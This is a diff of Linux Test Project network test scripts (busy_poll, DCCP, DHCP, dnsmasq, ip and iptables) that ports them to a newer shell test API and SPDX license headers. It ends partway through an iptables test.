-rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+setup()
+{
+	busy_poll_check_config
 
-TST_CLEANUP="cleanup"
-trap "tst_brkm TBROK 'test interrupted'" INT
+	busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
+	rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
+}
 
-for x in 50 0; do
-	tst_resm TINFO "set low latency busy poll to $x per socket"
-	set_busy_poll $x
-	tst_netload -H $(tst_ipaddr rhost) -d res_$x -b $x -T udp
-done
+test()
+{
+	for x in 50 0; do
+		tst_res TINFO "set low latency busy poll to $x per $2 socket"
+		set_busy_poll $x
+		tst_netload -H $(tst_ipaddr rhost) -n 10 -N 10 -d res_$x \
+			    -b $x -T $2
+	done
 
-poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
+	local poll_cmp=$(( 100 - ($(cat res_50) * 100) / $(cat res_0) ))
 
-if [ "$poll_cmp" -lt 1 ]; then
-	tst_resm TFAIL "busy poll result is '$poll_cmp' %"
-else
-	tst_resm TPASS "busy poll increased performance by '$poll_cmp' %"
-fi
+	if [ "$poll_cmp" -lt 1 ]; then
+		tst_res TFAIL "busy poll result is '$poll_cmp' %"
+	else
+		tst_res TPASS "busy poll increased performance by '$poll_cmp' %"
+	fi
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/busy_poll/busy_poll_lib.sh b/testcases/network/busy_poll/busy_poll_lib.sh
index a00c74d..5270a1b 100755
--- a/testcases/network/busy_poll/busy_poll_lib.sh
+++ b/testcases/network/busy_poll/busy_poll_lib.sh
@@ -1,38 +1,33 @@
 #!/bin/sh
-# Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2016-2018 Oracle and/or its affiliates. All Rights Reserved.
 
-if tst_kvcmp -lt "3.11"; then
-	tst_brkm TCONF "test must be run with kernel 3.11 or newer"
-fi
+TST_SETUP="setup"
+TST_TESTFUNC="test"
+TST_CLEANUP="cleanup"
+TST_MIN_KVER="3.11"
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="pkill sysctl ethtool"
+# for more stable results set to a single thread
+TST_NETLOAD_CLN_NUMBER=1
 
-if [ ! -f "/proc/sys/net/core/busy_read" -a \
-     ! -f "/proc/sys/net/core/busy_poll" ]; then
-	tst_brkm TCONF "busy poll not configured, CONFIG_NET_RX_BUSY_POLL"
-fi
+. tst_net.sh
 
-tst_check_cmds pkill sysctl ethtool
+busy_poll_check_config()
+{
+	if [ ! -f "/proc/sys/net/core/busy_read" -a \
+	     ! -f "/proc/sys/net/core/busy_poll" ]; then
+		tst_brk TCONF "busy poll not configured, CONFIG_NET_RX_BUSY_POLL"
+	fi
 
-if tst_kvcmp -lt "4.5"; then
-	ethtool --show-features $(tst_iface) | \
-		grep -q 'busy-poll.*on' || \
-		tst_brkm TCONF "busy poll not supported by driver"
-else
-	drvs="bnx2x|bnxt|cxgb4|enic|benet|ixgbe|ixgbevf|mlx4|mlx5|myri10ge|sfc|virtio"
-	ethtool -i $(tst_iface) | grep -qE "driver: ($drvs)" || \
-		tst_brkm TCONF "busy poll not supported"
-fi
-
-tst_require_root
+	if tst_kvcmp -lt "4.5"; then
+		ethtool --show-features $(tst_iface) | \
+			grep -q 'busy-poll.*on' || \
+			tst_brk TCONF "busy poll not supported by driver"
+	else
+		drvs="bnx2x|bnxt|cxgb4|enic|benet|ixgbe|ixgbevf|mlx4|mlx5|myri10ge|sfc|virtio"
+		ethtool -i $(tst_iface) | grep -qE "driver: ($drvs)" || \
+			tst_brk TCONF "busy poll not supported"
+	fi
+}
diff --git a/testcases/network/dccp/Makefile b/testcases/network/dccp/Makefile
index 23b7772..b880a25 100644
--- a/testcases/network/dccp/Makefile
+++ b/testcases/network/dccp/Makefile
@@ -1,17 +1,5 @@
-# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2017-2018 Oracle and/or its affiliates. All Rights Reserved.
 
 top_srcdir		?= ../../..
 
diff --git a/testcases/network/dccp/dccp01.sh b/testcases/network/dccp/dccp01.sh
index 0475588..d18ac6f 100755
--- a/testcases/network/dccp/dccp01.sh
+++ b/testcases/network/dccp/dccp01.sh
@@ -1,58 +1,44 @@
 #!/bin/sh
-# Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2017-2018 Oracle and/or its affiliates. All Rights Reserved.
 
-TCID=dccp01
-TST_TOTAL=3
-TST_CLEANUP="cleanup"
+TST_CNT=3
+TST_TESTFUNC="test"
 TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
 
-. test_net.sh
+. tst_net.sh
 
-cleanup()
+compare()
 {
-	tst_rmdir
-}
-
-setup()
-{
-	tst_require_root
-}
-
-test_run()
-{
-	tst_resm TINFO "compare UDP/DCCP performance"
-
-	tst_netload -H $(tst_ipaddr rhost) -T udp
-	local res0="$(cat tst_netload.res)"
-
-	tst_netload -H $(tst_ipaddr rhost) -T dccp
-	local res1="$(cat tst_netload.res)"
-
 	local per=$(( $res0 * 100 / $res1 - 100 ))
 
 	if [ "$per" -gt "100" -o "$per" -lt "-100" ]; then
-		tst_resm TFAIL "dccp performance $per %"
+		tst_res TFAIL "$1 performance $per %"
 	else
-		tst_resm TPASS "dccp performance $per % in range -100 ... 100 %"
+		tst_res TPASS "$1 performance $per % in range -100 ... 100 %"
 	fi
 }
 
-setup
-test_run
+test1()
+{
+	tst_res TINFO "run UDP"
+	tst_netload -H $(tst_ipaddr rhost) -T udp
+	res0="$(cat tst_netload.res)"
+}
+test2()
+{
+	tst_res TINFO "compare UDP/DCCP performance"
+	tst_netload -H $(tst_ipaddr rhost) -T dccp
+	res1="$(cat tst_netload.res)"
+	compare DCCP
+}
+test3()
+{
+	tst_res TINFO "compare UDP/UDP-Lite performance"
+	tst_netload -H $(tst_ipaddr rhost) -T udp_lite
+	res1="$(cat tst_netload.res)"
+	compare UDP-Lite
+}
 
-tst_exit
+tst_run
diff --git a/testcases/network/dctcp/Makefile b/testcases/network/dctcp/Makefile
deleted file mode 100644
index 82a6262..0000000
--- a/testcases/network/dctcp/Makefile
+++ /dev/null
@@ -1,22 +0,0 @@
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-
-top_srcdir		?= ../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= dctcp01.sh
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/dctcp/dctcp01.sh b/testcases/network/dctcp/dctcp01.sh
deleted file mode 100755
index d8d4eb9..0000000
--- a/testcases/network/dctcp/dctcp01.sh
+++ /dev/null
@@ -1,90 +0,0 @@
-#!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-# Author: Alexey Kodanev <alexey.kodanev@oracle.com>
-
-TCID=dctcp01
-TST_TOTAL=1
-TST_CLEANUP="cleanup"
-TST_NEEDS_TMPDIR=1
-def_alg="cubic"
-prev_alg=
-
-. test_net.sh
-
-set_cong_alg()
-{
-	local alg=$1
-	tst_resm TINFO "setting $alg"
-
-	tst_set_sysctl net.ipv4.tcp_congestion_control $alg safe
-}
-
-cleanup()
-{
-	if [ "$prev_cong_ctl" ]; then
-		tst_set_sysctl net.ipv4.tcp_congestion_control $prev_alg
-	fi
-	tst_rmdir
-	tc qdisc del dev $(tst_iface) root netem loss 0.03% ecn
-}
-
-setup()
-{
-	if tst_kvcmp -lt "3.18"; then
-		tst_brkm TCONF "test requires kernel 3.18 or newer"
-	fi
-
-	tst_require_root
-	tst_check_cmds ip sysctl tc
-
-	tst_resm TINFO "emulate congestion with packet loss 0.03% and ECN"
-	tc qdisc add dev $(tst_iface) root netem loss 0.03% ecn > /dev/null 2>&1
-	if [ $? -ne 0 ]; then
-		tst_brkm TCONF "netem doesn't support ECN"
-	fi
-
-	prev_alg="$(sysctl -n net.ipv4.tcp_congestion_control)"
-}
-
-test_run()
-{
-	tst_resm TINFO "compare '$def_alg' and 'dctcp' congestion alg. results"
-
-	set_cong_alg "$def_alg"
-
-	tst_netload -H $(tst_ipaddr rhost)
-	local res0="$(cat tst_netload.res)"
-
-	set_cong_alg "dctcp"
-
-	tst_netload -H $(tst_ipaddr rhost)
-	local res1="$(cat tst_netload.res)"
-
-	local per=$(( $res0 * 100 / $res1 - 100 ))
-
-	if [ "$per" -lt "10" ]; then
-		tst_resm TFAIL "dctcp performance $per %"
-	else
-		tst_resm TPASS "dctcp performance $per %"
-	fi
-}
-
-setup
-
-test_run
-
-tst_exit
diff --git a/testcases/network/dhcp/dhcp_lib.sh b/testcases/network/dhcp/dhcp_lib.sh
index 5001232..29b8027 100755
--- a/testcases/network/dhcp/dhcp_lib.sh
+++ b/testcases/network/dhcp/dhcp_lib.sh
@@ -1,27 +1,28 @@
 #!/bin/sh
-# Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2014-2018 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 #
 # Author:       Alexey Kodanev alexey.kodanev@oracle.com
 
+TST_SETUP="init"
+TST_TESTFUNC="test01"
+TST_CLEANUP="cleanup"
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="cat $dhcp_name awk ip pgrep pkill dhclient"
+
+. tst_net.sh
+. daemonlib.sh
+
+iface0="ltp_veth0"
+iface1="ltp_veth1"
+
 stop_dhcp()
 {
 	[ "$(pgrep -x $dhcp_name)" ] || return 0
 
-	tst_resm TINFO "stopping $dhcp_name"
+	tst_res TINFO "stopping $dhcp_name"
 	local count=0
 	while [ $count -le 10 ]; do
 		pkill -x $dhcp_name
@@ -37,32 +38,35 @@
 
 init()
 {
-	tst_require_root
-	tst_check_cmds cat $dhcp_name awk ip pgrep pkill dhclient
+	if [ $TST_IPV6 ]; then
+		ip_addr="fd00:1:1:2::12/64"
+		ip_addr_check="fd00:1:1:2::100/64"
+	else
+		ip_addr="10.1.1.12/24"
+		ip_addr_check="10.1.1.100/24"
+	fi
 
 	lsmod | grep -q '^veth ' && veth_loaded=yes || veth_loaded=no
 
-	tst_resm TINFO "create veth interfaces"
+	tst_res TINFO "create veth interfaces"
 	ip li add $iface0 type veth peer name $iface1 || \
-		tst_brkm TBROK "failed to add veth $iface0"
+		tst_brk TBROK "failed to add veth $iface0"
 
 	veth_added=1
-	ip li set up $iface0 || tst_brkm TBROK "failed to bring $iface0 up"
-	ip li set up $iface1 || tst_brkm TBROK "failed to bring $iface1 up"
+	ip li set up $iface0 || tst_brk TBROK "failed to bring $iface0 up"
+	ip li set up $iface1 || tst_brk TBROK "failed to bring $iface1 up"
 
-	tst_tmpdir
-
-	stop_dhcp || tst_brkm TBROK "Failed to stop dhcp server"
+	stop_dhcp || tst_brk TBROK "Failed to stop dhcp server"
 
 	dhclient_lease="/var/lib/dhclient/dhclient${TST_IPV6}.leases"
 	if [ -f $dhclient_lease ]; then
-		tst_resm TINFO "backup dhclient${TST_IPV6}.leases"
+		tst_res TINFO "backup dhclient${TST_IPV6}.leases"
 		mv $dhclient_lease .
 	fi
 
-	tst_resm TINFO "add $ip_addr to $iface0"
+	tst_res TINFO "add $ip_addr to $iface0"
 	ip addr add $ip_addr dev $iface0 || \
-		tst_brkm TBROK "failed to add ip address"
+		tst_brk TBROK "failed to add ip address"
 }
 
 cleanup()
@@ -71,7 +75,7 @@
 
 	stop_dhcp
 
-	pkill -f "dhclient -$ipv $iface1"
+	pkill -f "dhclient -$TST_IPVER $iface1"
 
 	cleanup_dhcp
 
@@ -83,49 +87,52 @@
 	[ $veth_added ] && ip li del $iface0
 
 	[ "$veth_loaded" = "no" ] && lsmod | grep -q '^veth ' && rmmod veth
-
-	tst_rmdir
 }
 
 test01()
 {
-	tst_resm TINFO "starting DHCPv${ipv} server on $iface0"
+	local wicked
+
+	tst_res TINFO "testing DHCP server $dhcp_name: $(print_dhcp_version)"
+	tst_res TINFO "using DHCP client: $(dhclient --version 2>&1)"
+
+	tst_res TINFO "starting DHCPv$TST_IPVER server on $iface0"
 
 	start_dhcp$TST_IPV6
+	if [ $? -ne 0 ]; then
+		print_dhcp_log
+		tst_brk TBROK "Failed to start $dhcp_name"
+	fi
 
 	sleep 1
 
 	if [ "$(pgrep '$dhcp_name')" ]; then
 		print_dhcp_log
-		tst_brkm TBROK "Failed to start $dhcp_name"
+		tst_brk TBROK "Failed to start $dhcp_name"
 	fi
 
-	tst_resm TINFO "starting dhclient -${ipv} $iface1"
-	dhclient -$ipv $iface1 || \
-		tst_brkm TBROK "dhclient failed"
+	if [ $HAVE_SYSTEMCTL -eq 1 ] && \
+		systemctl --no-pager -p Id show network.service | grep -q Id=wicked.service; then
+		tst_res TINFO "temporarily disabling wicked"
+		wicked=1
+		systemctl disable wicked
+	fi
+	tst_res TINFO "starting dhclient -$TST_IPVER $iface1"
+	dhclient -$TST_IPVER $iface1 || tst_brk TBROK "dhclient failed"
 
 	# check that we get configured ip address
 	ip addr show $iface1 | grep $ip_addr_check > /dev/null
 	if [ $? -eq 0 ]; then
-		tst_resm TPASS "'$ip_addr_check' configured by DHCPv$ipv"
+		tst_res TPASS "'$ip_addr_check' configured by DHCPv$TST_IPVER"
 	else
-		tst_resm TFAIL "'$ip_addr_check' not configured by DHCPv$ipv"
+		tst_res TFAIL "'$ip_addr_check' not configured by DHCPv$TST_IPVER"
 		print_dhcp_log
 	fi
 
+	if [ "$wicked" ]; then
+		tst_res TINFO "reenabling wicked"
+		systemctl enable wicked
+	fi
+
 	stop_dhcp
 }
-
-iface0="ltp_veth0"
-iface1="ltp_veth1"
-ipv=${TST_IPV6:-"4"}
-
-if [ $TST_IPV6 ]; then
-	ip_addr="fd00:1:1:2::12/64"
-	ip_addr_check="fd00:1:1:2::100/64"
-else
-	ip_addr="10.1.1.12/24"
-	ip_addr_check="10.1.1.100/24"
-fi
-
-trap "tst_brkm TBROK 'test interrupted'" INT
diff --git a/testcases/network/dhcp/dhcpd_tests.sh b/testcases/network/dhcp/dhcpd_tests.sh
index 0dc2830..ff46b82 100755
--- a/testcases/network/dhcp/dhcpd_tests.sh
+++ b/testcases/network/dhcp/dhcpd_tests.sh
@@ -1,30 +1,14 @@
 #!/bin/sh
-# Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2014-2018 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) International Business Machines  Corp., 2001
 #
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#
 # Author:       Manoj Iyer, manjo@mail.utexas.edu
 # Author:       Alexey Kodanev alexey.kodanev@oracle.com
 
-TST_CLEANUP=cleanup
-TST_TOTAL=1
-TCID="dhcpd"
 dhcp_name="dhcpd"
 
-. test_net.sh
 . dhcp_lib.sh
 
 setup_dhcpd_conf()
@@ -34,24 +18,20 @@
 	elif [ -f /etc/dhcp/dhcpd.conf ]; then
 		DHCPD_CONF="/etc/dhcp/dhcpd.conf"
 	else
-		tst_brkm TBROK "failed to find dhcpd.conf"
+		tst_brk TBROK "failed to find dhcpd.conf"
 	fi
 
 	mv $DHCPD_CONF dhcpd.conf
-	[ $? -ne 0 ] && tst_brkm TBROK "failed to backup dhcpd.conf"
+	[ $? -ne 0 ] && tst_brk TBROK "failed to backup dhcpd.conf"
 
 	mv tst_dhcpd.conf $DHCPD_CONF
-	[ $? -ne 0 ] && tst_brkm TBROK "failed to create dhcpd.conf"
+	[ $? -ne 0 ] && tst_brk TBROK "failed to create dhcpd.conf"
 }
 
 start_dhcpd()
 {
-	dhcpd -$ipv $iface0 > tst_dhcpd.err 2>&1
-	if [ $? -ne 0 ]; then
-		cat tst_dhcpd.err
-		tst_brkm TBROK "Failed to start dhcpd"
-	fi
-
+	touch tst_hdcpd.lease
+	dhcpd -lf tst_hdcpd.lease -$TST_IPVER $iface0 > tst_dhcpd.err 2>&1
 }
 
 start_dhcp()
@@ -94,6 +74,9 @@
 	cat tst_dhcpd.err
 }
 
-init
-test01
-tst_exit
+print_dhcp_version()
+{
+	dhcpd --version 2>&1
+}
+
+tst_run
diff --git a/testcases/network/dhcp/dnsmasq_tests.sh b/testcases/network/dhcp/dnsmasq_tests.sh
index c11cb15..ad5885c 100755
--- a/testcases/network/dhcp/dnsmasq_tests.sh
+++ b/testcases/network/dhcp/dnsmasq_tests.sh
@@ -1,30 +1,18 @@
 #!/bin/sh
-# Copyright (c) 2014-2015 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write the Free Software Foundation,
-# Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2014-2018 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 #
 # Author: Alexey Kodanev alexey.kodanev@oracle.com
 
-TST_CLEANUP=cleanup
-TST_TOTAL=1
-TCID="dnsmasq"
 dhcp_name="dnsmasq"
 
-. test_net.sh
 . dhcp_lib.sh
 
+common_opt="--no-hosts --no-resolv --dhcp-authoritative \
+	--log-facility=./tst_dnsmasq.log --interface=$iface0 \
+	--dhcp-leasefile=tst_dnsmasq.lease --port=0 --conf-file= "
+
 start_dhcp()
 {
 	dnsmasq $common_opt \
@@ -36,7 +24,7 @@
 {
 	# check that dnsmasq supports IPv6
 	dnsmasq --dhcp-range=fd00::1,fd00::1 --test > /dev/null 2>&1 || \
-		tst_brkm TCONF "dnsmasq doesn't support DHCPv6"
+		tst_brk TCONF "dnsmasq doesn't support DHCPv6"
 
 	dnsmasq $common_opt \
 	        --dhcp-range=fd00:1:1:2::100,fd00:1:1:2::100 --enable-ra \
@@ -53,11 +41,9 @@
 	cat tst_dnsmasq.log
 }
 
-init
+print_dhcp_version()
+{
+	dnsmasq --version | head -2
+}
 
-common_opt="--no-hosts --no-resolv --dhcp-authoritative \
-	--log-facility=$(pwd)/tst_dnsmasq.log --interface=$iface0 \
-	--dhcp-leasefile=$(pwd)/tst_dnsmasq.lease --conf-file= "
-
-test01
-tst_exit
+tst_run
diff --git a/testcases/network/iproute/ip_tests.sh b/testcases/network/iproute/ip_tests.sh
index cb42e7a..79e1b48 100755
--- a/testcases/network/iproute/ip_tests.sh
+++ b/testcases/network/iproute/ip_tests.sh
@@ -24,7 +24,8 @@
 TST_TOTAL=6
 TCID="ip_tests"
 
-. test_net.sh
+TST_USE_LEGACY_API=1
+. tst_net.sh
 
 rm_dummy=
 
@@ -33,7 +34,7 @@
 	tst_resm TINFO "inititalizing tests"
 	tst_require_root
 	tst_tmpdir
-	tst_check_cmds cat awk ip diff
+	tst_test_cmds cat awk diff
 
 	iface=ltp_dummy
 	lsmod | grep -q dummy || rm_dummy=1
@@ -139,20 +140,20 @@
 
 test04()
 {
+	local taddr="$(tst_ipaddr_un)"
+	local tdev="$(tst_iface)"
 	tst_resm TINFO "test 'ip neigh' command"
 	tst_resm TINFO "add a new neighbor (or replace existed)"
-	ip neigh replace 127.6.6.6 lladdr 00:00:00:00:00:00 dev lo nud reachable
+	ip neigh replace $taddr lladdr 00:00:00:00:00:00 dev $tdev nud reachable
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "'ip neigh replace' command failed"
 		return
 	fi
 
 	tst_resm TINFO "show all neighbor entries in arp tables"
-	cat > tst_ip.exp <<-EOF
-127.6.6.6 dev lo lladdr 00:00:00:00:00:00 REACHABLE
-	EOF
+	echo "$taddr dev $tdev lladdr 00:00:00:00:00:00 REACHABLE" > tst_ip.exp
 
-	ip neigh show 127.6.6.6 | head -n1 > tst_ip.out 2>&1
+	ip neigh show $taddr | head -n1 > tst_ip.out 2>&1
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "'ip neigh show' command failed"
 		return
@@ -166,15 +167,15 @@
 
 	tst_resm TINFO "delete neighbor from the arp table"
 
-	ip neigh del 127.6.6.6 dev lo
+	ip neigh del $taddr dev $tdev
 	if [ $? -ne 0 ]; then
 		tst_resm TFAIL "'ip neigh del' command failed"
 		return
 	fi
 
-	ip neigh show | grep 127.6.6.6 | grep -v ' FAILED$' > /dev/null
+	ip neigh show | grep $taddr | grep -v ' FAILED$' > /dev/null
 	if [ $? -eq 0 ]; then
-		tst_resm TFAIL "127.6.6.6 still listed in arp"
+		tst_resm TFAIL "$taddr still listed in arp"
 		return
 	fi
 
diff --git a/testcases/network/iptables/iptables_tests.sh b/testcases/network/iptables/iptables_tests.sh
index 4a2a37c..11412d6 100755
--- a/testcases/network/iptables/iptables_tests.sh
+++ b/testcases/network/iptables/iptables_tests.sh
@@ -1,46 +1,34 @@
 #!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software Foundation,   ##
-## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
-##                                                                            ##
-################################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) International Business Machines  Corp., 2001
+#
 #  Author:	Jan 20 2004 Hubert Lin <linux02NOSPAAAM@tw.ibm.com>
 #				       <hubertNOSPAAAM@symbio.com.tw>
 
-export TCID="iptables"
-export TST_TOTAL=6
+TST_CNT=6
+TST_SETUP="init"
+TST_TESTFUNC="test"
+TST_CLEANUP="cleanup"
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="iptables grep ping telnet"
 
-. test.sh
+. tst_test.sh
 
 init()
 {
-	tst_tmpdir
-
-	tst_resm TINFO "INIT: Inititalizing tests."
+	tst_res TINFO "INIT: Inititalizing tests."
 
 	modprobe ip_tables
 	if [ $? -ne 0 ]; then
 		iptables -L > tst_iptables.out 2>&1
 		if [ $? -ne 0 ]; then
-			tst_brkm TBROK "no iptables support in kernel."
+			tst_brk TCONF "no iptables support in kernel."
 		fi
 	fi
 
-	tst_resm TINFO "INIT: Flushing all rules."
+	tst_res TINFO "INIT: Flushing all rules."
 	iptables -F -t filter > tst_iptables.out 2>&1
 	iptables -F -t nat > tst_iptables.out 2>&1
 	iptables -F -t mangle > tst_iptables.out 2>&1
@@ -60,255 +48,254 @@
 			 nf_conntrack_ipv4 nf_defrag_ipv4 nf_conntrack \
 			 > tst_iptables.out 2>&1
 	fi
-	tst_rmdir
 }
 
-test01()
+test1()
 {
 	local chaincnt=0
 
 	local cmd="iptables -L -t filter"
-	tst_resm TINFO "$cmd will list all rules in table filter."
+	tst_res TINFO "$cmd will list all rules in table filter."
 	$cmd > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "$cmd failed to list rules."
+		tst_res TFAIL "$cmd failed to list rules."
 		cat tst_iptables.out
 		return
 	else
 		chaincnt=$(grep -c Chain tst_iptables.out)
 		if [ $chaincnt -lt 3 ]; then
-			tst_resm TFAIL "$cmd failed to list rules."
+			tst_res TFAIL "$cmd failed to list rules."
 			cat tst_iptables.out
 			return
 		else
-			tst_resm TINFO "$cmd lists rules."
+			tst_res TINFO "$cmd lists rules."
 		fi
 	fi
 
 	local cmd="iptables -L -t nat"
-	tst_resm TINFO "$cmd will list all rules in table nat."
+	tst_res TINFO "$cmd will list all rules in table nat."
 	$cmd > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "$cmd failed to list rules."
+		tst_res TFAIL "$cmd failed to list rules."
 		cat tst_iptables.out
 		return
 	else
 		chaincnt=$(grep -c Chain tst_iptables.out)
 		if [ $chaincnt -lt 3 ]; then
-			tst_resm TFAIL "$cmd failed to list rules."
+			tst_res TFAIL "$cmd failed to list rules."
 			cat tst_iptables.out
 			return
 		else
-			tst_resm TINFO "$cmd lists rules."
+			tst_res TINFO "$cmd lists rules."
 		fi
 	fi
 
 	local cmd="iptables -L -t mangle"
-	tst_resm TINFO "$cmd will list all rules in table mangle."
+	tst_res TINFO "$cmd will list all rules in table mangle."
 	$cmd > tst_iptables.out 2>&1
 	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "$cmd failed to list rules."
+		tst_res TFAIL "$cmd failed to list rules."
 		cat tst_iptables.out
 		return
 	else
 		chaincnt=$(grep -c Chain tst_iptables.out)
 		if [ $chaincnt -lt 5 ]; then
-			tst_resm TFAIL "$cmd failed to list rules."
+			tst_res TFAIL "$cmd failed to list rules."
 			cat tst_iptables.out
 		else
-			tst_resm TINFO "$cmd lists rules."
+			tst_res TINFO "$cmd lists rules."
 		fi
 	fi
 
-	tst_resm TPASS "iptables -L lists rules."
+	tst_res TPASS "iptables -L lists rules."
 }
 
-test02()
+test2()
 {
-	tst_resm TINFO "Use iptables to DROP packets from particular IP"
-	tst_resm TINFO "Rule to block icmp from 127.0.0.1"
+	tst_res TINFO "Use iptables to DROP packets from particular IP"
+	tst_res TINFO "Rule to block icmp from 127.0.0.1"
 
